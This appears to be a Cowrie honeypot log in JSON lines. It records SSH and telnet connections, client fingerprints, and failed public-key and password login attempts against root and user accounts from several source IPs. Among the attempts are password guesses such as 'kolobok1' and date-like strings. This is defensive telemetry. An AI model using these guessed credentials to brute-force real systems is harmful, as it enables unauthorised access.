{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:5b:47:cf:4b:b4:7c:a4:c0:30:d3:75:86:58:b6:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtNMqooipJIMg71Fuqm/An/5o3s8bz9aNpCb9X+Sf0eZa4f/px5L8E319czN/u6eFsnbATy4YBqa69jbgTncXcWyTJu8EZ8LlkLMDeM4RmSG+your892GNfygEjDLntkyBTvpXptq8/H0RoiZf//tseHFIDRzgtz3+LADLpgwQtHSoWimNd15vX7spYAtNyhFpbs/KujOiggEomYh2E2ygkvZim1dyTwqU1IHl5LQgD56HiLHv3J7RPTiRzMaISCaZOjVT1Lk2OtcnL9GpU9q0slQ7d6SFXHSi/ZgFsVk1GuIhVRGwAAqy3pf+LmyYtZ3i9gTA7AbCu6BgL5p5ooE7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:5b:47:cf:4b:b4:7c:a4:c0:30:d3:75:86:58:b6:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:43:50.290676Z","src_ip":"108.181.22.199","session":"0c2d450cb1ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:5b:47:cf:4b:b4:7c:a4:c0:30:d3:75:86:58:b6:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtNMqooipJIMg71Fuqm/An/5o3s8bz9aNpCb9X+Sf0eZa4f/px5L8E319czN/u6eFsnbATy4YBqa69jbgTncXcWyTJu8EZ8LlkLMDeM4RmSG+your892GNfygEjDLntkyBTvpXptq8/H0RoiZf//tseHFIDRzgtz3+LADLpgwQtHSoWimNd15vX7spYAtNyhFpbs/KujOiggEomYh2E2ygkvZim1dyTwqU1IHl5LQgD56HiLHv3J7RPTiRzMaISCaZOjVT1Lk2OtcnL9GpU9q0slQ7d6SFXHSi/ZgFsVk1GuIhVRGwAAqy3pf+LmyYtZ3i9gTA7AbCu6BgL5p5ooE7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:43:50.294944Z","src_ip":"108.181.22.199","session":"0c2d450cb1ed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0d:33:6d:d2:8e:c6:a2:ab:43:f5:bd:3c:93:22:c7:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDx/ANua33cUuXS6H3QA7WgqVGpMaC2I5NRZ4OjvZuQli51TXu3jNE8zC9ajq4sKwv24qNIBMHjBmCqigbIaXHRMg6u4An7E+yZuUlA6MZUwHaenW0Zemcjzur2/BwfpW/B80+4Q4GULk5YcR2/uGFECJ0dJgM/ZI+++TRfkIuox0zbQpEl507QsgrT05AdaQZCdbqQs67QHiW+8Aie7SoDNrx5VOtPsk6Cp+uKZm0hpg/z2Up5ykjWuZkpwCC6ZMWUJM8WYzRFsJHemAHC5PBCsNjGf+eHP68zzg7B+BwZ6uN6t8rzxbfmjHJycv/yMiN5pPXeeZmfJAm6So9rPP05","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0d:33:6d:d2:8e:c6:a2:ab:43:f5:bd:3c:93:22:c7:a0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:43:50.371799Z","src_ip":"108.181.22.199","session":"0c2d450cb1ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0d:33:6d:d2:8e:c6:a2:ab:43:f5:bd:3c:93:22:c7:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDx/ANua33cUuXS6H3QA7WgqVGpMaC2I5NRZ4OjvZuQli51TXu3jNE8zC9ajq4sKwv24qNIBMHjBmCqigbIaXHRMg6u4An7E+yZuUlA6MZUwHaenW0Zemcjzur2/BwfpW/B80+4Q4GULk5YcR2/uGFECJ0dJgM/ZI+++TRfkIuox0zbQpEl507QsgrT05AdaQZCdbqQs67QHiW+8Aie7SoDNrx5VOtPsk6Cp+uKZm0hpg/z2Up5ykjWuZkpwCC6ZMWUJM8WYzRFsJHemAHC5PBCsNjGf+eHP68zzg7B+BwZ6uN6t8rzxbfmjHJycv/yMiN5pPXeeZmfJAm6So9rPP05","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:43:50.376366Z","src_ip":"108.181.22.199","session":"0c2d450cb1ed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:8c:0b:c3:a7:47:82:3c:ac:5e:c8:f6:5c:da:c8:3f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIITbkBHTU954P+hbgfbgNbNJZg7CWG+JY0ihzNu/ruHu","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 30:8c:0b:c3:a7:47:82:3c:ac:5e:c8:f6:5c:da:c8:3f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:43:50.451447Z","src_ip":"108.181.22.199","session":"0c2d450cb1ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:8c:0b:c3:a7:47:82:3c:ac:5e:c8:f6:5c:da:c8:3f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIITbkBHTU954P+hbgfbgNbNJZg7CWG+JY0ihzNu/ruHu","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:43:50.456039Z","src_ip":"108.181.22.199","session":"0c2d450cb1ed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:f8:01:14:94:83:e9:10:2a:55:cf:a6:e8:9d:ba:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD0k0nQQQt8HujyFtF14rwyxdSc0p1YN62Ft7G1jeWilfYDKn0+mPkEQ/cQbx2DF71bdrsOdMNpuYCxERjiAUi9tUjP+MQyUkdwuBQ1mQ8XN5OwTyeISAX3ArR0XPGLsZG2WdDOpkIy55CIj1Ijs6XyTWMzQxujnEUxruKftXhs07JZhlUWXNzsEL+H8gDSnTk4IrpgZIsn99jrTXdNZu9JoY9h/6zthqWD54wUY2eA0b4evyXAyJunlzptGKrE2yY1I9wNJmo1ggTWAM9798fI7Suz1QU4zx17m/bxYyy3kOxKkAtZYMIpVNx3DjRua951XRUoTev6pRW7rOmQotTx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 30:f8:01:14:94:83:e9:10:2a:55:cf:a6:e8:9d:ba:08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:43:50.533719Z","src_ip":"108.181.22.199","session":"0c2d450cb1ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:f8:01:14:94:83:e9:10:2a:55:cf:a6:e8:9d:ba:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD0k0nQQQt8HujyFtF14rwyxdSc0p1YN62Ft7G1jeWilfYDKn0+mPkEQ/cQbx2DF71bdrsOdMNpuYCxERjiAUi9tUjP+MQyUkdwuBQ1mQ8XN5OwTyeISAX3ArR0XPGLsZG2WdDOpkIy55CIj1Ijs6XyTWMzQxujnEUxruKftXhs07JZhlUWXNzsEL+H8gDSnTk4IrpgZIsn99jrTXdNZu9JoY9h/6zthqWD54wUY2eA0b4evyXAyJunlzptGKrE2yY1I9wNJmo1ggTWAM9798fI7Suz1QU4zx17m/bxYyy3kOxKkAtZYMIpVNx3DjRua951XRUoTev6pRW7rOmQotTx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:43:50.537930Z","src_ip":"108.181.22.199","session":"0c2d450cb1ed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:ab:c4:7e:37:23:bb:75:47:7c:9b:8c:09:ed:d1:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDZrUTjvp7J05eDmPNrUun7AGa7nKEpYsWNZwFDVr/O1XKMJnQkdzrMTKuVgzvPSnPTWKnAw6+HVdCBHCfmBLrcCsT00B5nRwGzLxriz75es880YtbIRa2NeoiAMJDJgFFQfUrDkYP7lmm1UsFPuClyceN+jQzHqYU1gn0QXfIsv2ErmXhhuAo205MnGtdfvdlI3ok19PNtYmFWhRD2rOPrM9TtkMUqk0GsLf5sDdsFcwC6RUZESO6v/1dTzFY4dJt16Srk/B3dR8KcHYxlp79+a2GX0j9EGI+yX0PFnmLBIU5XxxO/0Vp5G/OGe02W5jcp6ZEPJ9JdbsqdkDp8D35DB05Zt0xPwKw+J6i0scFlffqXX+HFQv5dDSy55KY5jjdus64M9Kl48DiDSyeEzIc8EsKXyxnG3Qr8rFI67keT8UJIVlIu2lJX67VFK/tf2aq2k1IztDBmzeWmuGnzTQa7JSBgvl4fkpOJ2K7CXQp3d55oiB1K5VkrWvapC88Fc0tPTqzQj2Lq5z6zI/SpVd32TH7ySi7bGGSqccIWbuiDgMLfEGsrs7/7LSA2Lhh1se5GRDv7/+nRDjhr4nweNHkTF8DG6mF7rftjC49i0dCU6P1xqzIz3dBtjA2coALtJGiHoyGCJAUWtdKJ4wJjJ6vd2KXsDindtIoATKf/BmwtQQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:ab:c4:7e:37:23:bb:75:47:7c:9b:8c:09:ed:d1:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:43:50.614240Z","src_ip":"108.181.22.199","session":"0c2d450cb1ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:ab:c4:7e:37:23:bb:75:47:7c:9b:8c:09:ed:d1:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDZrUTjvp7J05eDmPNrUun7AGa7nKEpYsWNZwFDVr/O1XKMJnQkdzrMTKuVgzvPSnPTWKnAw6+HVdCBHCfmBLrcCsT00B5nRwGzLxriz75es880YtbIRa2NeoiAMJDJgFFQfUrDkYP7lmm1UsFPuClyceN+jQzHqYU1gn0QXfIsv2ErmXhhuAo205MnGtdfvdlI3ok19PNtYmFWhRD2rOPrM9TtkMUqk0GsLf5sDdsFcwC6RUZESO6v/1dTzFY4dJt16Srk/B3dR8KcHYxlp79+a2GX0j9EGI+yX0PFnmLBIU5XxxO/0Vp5G/OGe02W5jcp6ZEPJ9JdbsqdkDp8D35DB05Zt0xPwKw+J6i0scFlffqXX+HFQv5dDSy55KY5jjdus64M9Kl48DiDSyeEzIc8EsKXyxnG3Qr8rFI67keT8UJIVlIu2lJX67VFK/tf2aq2k1IztDBmzeWmuGnzTQa7JSBgvl4fkpOJ2K7CXQp3d55oiB1K5VkrWvapC88Fc0tPTqzQj2Lq5z6zI/SpVd32TH7ySi7bGGSqccIWbuiDgMLfEGsrs7/7LSA2Lhh1se5GRDv7/+nRDjhr4nweNHkTF8DG6mF7rftjC49i0dCU6P1xqzIz3dBtjA2coALtJGiHoyGCJAUWtdKJ4wJjJ6vd2KXsDindtIoATKf/BmwtQQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:43:50.618255Z","src_ip":"108.181.22.199","session":"0c2d450cb1ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:43:50.695065Z","src_ip":"108.181.22.199","session":"0c2d450cb1ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":56356,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec2bb1e1b38f","protocol":"telnet","message":"New connection: 135.148.14.151:56356 (159.203.135.109:23) [session: ec2bb1e1b38f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:44:06.512719Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":34420,"dst_ip":"159.203.135.109","dst_port":23,"session":"e49ee9593ec9","protocol":"telnet","message":"New connection: 135.148.14.151:34420 (159.203.135.109:23) [session: e49ee9593ec9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:44:18.650152Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":33362,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c6265c25c5d","protocol":"ssh","message":"New connection: 62.133.63.178:33362 (10.17.0.5:22) [session: 3c6265c25c5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:44:22.992558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:44:22.997761Z","src_ip":"62.133.63.178","session":"3c6265c25c5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:44:23.116116Z","src_ip":"62.133.63.178","session":"3c6265c25c5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kolobok1","message":"login attempt [root/kolobok1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:44:23.473237Z","src_ip":"62.133.63.178","session":"3c6265c25c5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:44:24.596660Z","src_ip":"62.133.63.178","session":"3c6265c25c5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":50332,"dst_ip":"159.203.135.109","dst_port":22,"session":"21a565c003d0","protocol":"ssh","message":"New connection: 80.66.85.226:50332 (159.203.135.109:22) [session: 21a565c003d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:44:25.493391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:44:25.498955Z","src_ip":"80.66.85.226","session":"21a565c003d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37752,"dst_ip":"159.203.135.109","dst_port":23,"session":"350850f9d14b","protocol":"telnet","message":"New connection: 135.148.14.151:37752 (159.203.135.109:23) [session: 350850f9d14b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:44:25.524566Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:44:25.591218Z","src_ip":"80.66.85.226","session":"21a565c003d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"leslie","message":"login attempt [root/leslie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:44:25.867476Z","src_ip":"80.66.85.226","session":"21a565c003d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.61292004585266,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:44:26.596968Z","src_ip":"135.148.14.151","session":"fe7208da893d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:44:26.962122Z","src_ip":"80.66.85.226","session":"21a565c003d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57714,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2575f86e3d2","protocol":"telnet","message":"New connection: 135.148.14.151:57714 (159.203.135.109:23) [session: f2575f86e3d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:44:39.967439Z"}
{"eventid":"cowrie.session.closed","duration":0.0076520442962646484,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:44:39.974960Z","src_ip":"135.148.14.151","session":"f2575f86e3d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.2156925201416,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:44:43.728257Z","src_ip":"135.148.14.151","session":"ec2bb1e1b38f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00189709663391,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:44:54.237061Z","src_ip":"105.209.159.189","session":"2ed0e94d65f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":49798,"dst_ip":"159.203.135.109","dst_port":23,"session":"aff2ba7ff35f","protocol":"telnet","message":"New connection: 135.148.14.151:49798 (159.203.135.109:23) [session: aff2ba7ff35f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:44:54.675946Z"}
{"eventid":"cowrie.session.closed","duration":36.24257445335388,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:44:54.892611Z","src_ip":"135.148.14.151","session":"e49ee9593ec9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":47477,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac77fd2118a0","protocol":"ssh","message":"New connection: 2.57.121.25:47477 (159.203.135.109:22) [session: ac77fd2118a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:44:56.349272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:44:56.354723Z","src_ip":"2.57.121.25","session":"ac77fd2118a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:44:56.454083Z","src_ip":"2.57.121.25","session":"ac77fd2118a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"100488","message":"login attempt [user/100488] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:44:56.925933Z","src_ip":"2.57.121.25","session":"ac77fd2118a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00229597091675,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:44:57.759410Z","src_ip":"105.209.159.189","session":"7ff90f7586ff","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"10041977","message":"login attempt [user/10041977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:44:58.028779Z","src_ip":"2.57.121.25","session":"ac77fd2118a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"10031994","message":"login attempt [user/10031994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:44:59.132085Z","src_ip":"2.57.121.25","session":"ac77fd2118a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53768,"dst_ip":"159.203.135.109","dst_port":23,"session":"e686879f15a2","protocol":"telnet","message":"New connection: 135.148.14.151:53768 (159.203.135.109:23) [session: e686879f15a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:45:00.133113Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"10021979","message":"login attempt [user/10021979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:45:00.237363Z","src_ip":"2.57.121.25","session":"ac77fd2118a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":50942,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d528ca843e6","protocol":"telnet","message":"New connection: 135.148.14.151:50942 (159.203.135.109:23) [session: 8d528ca843e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:45:01.162819Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"10011977","message":"login attempt [user/10011977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:45:01.340242Z","src_ip":"2.57.121.25","session":"ac77fd2118a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.55443739891052,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:45:02.078878Z","src_ip":"135.148.14.151","session":"350850f9d14b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:45:02.443587Z","src_ip":"2.57.121.25","session":"ac77fd2118a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":54538,"dst_ip":"159.203.135.109","dst_port":23,"session":"f276e766d934","protocol":"telnet","message":"New connection: 135.148.14.151:54538 (159.203.135.109:23) [session: f276e766d934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:45:02.780688Z"}
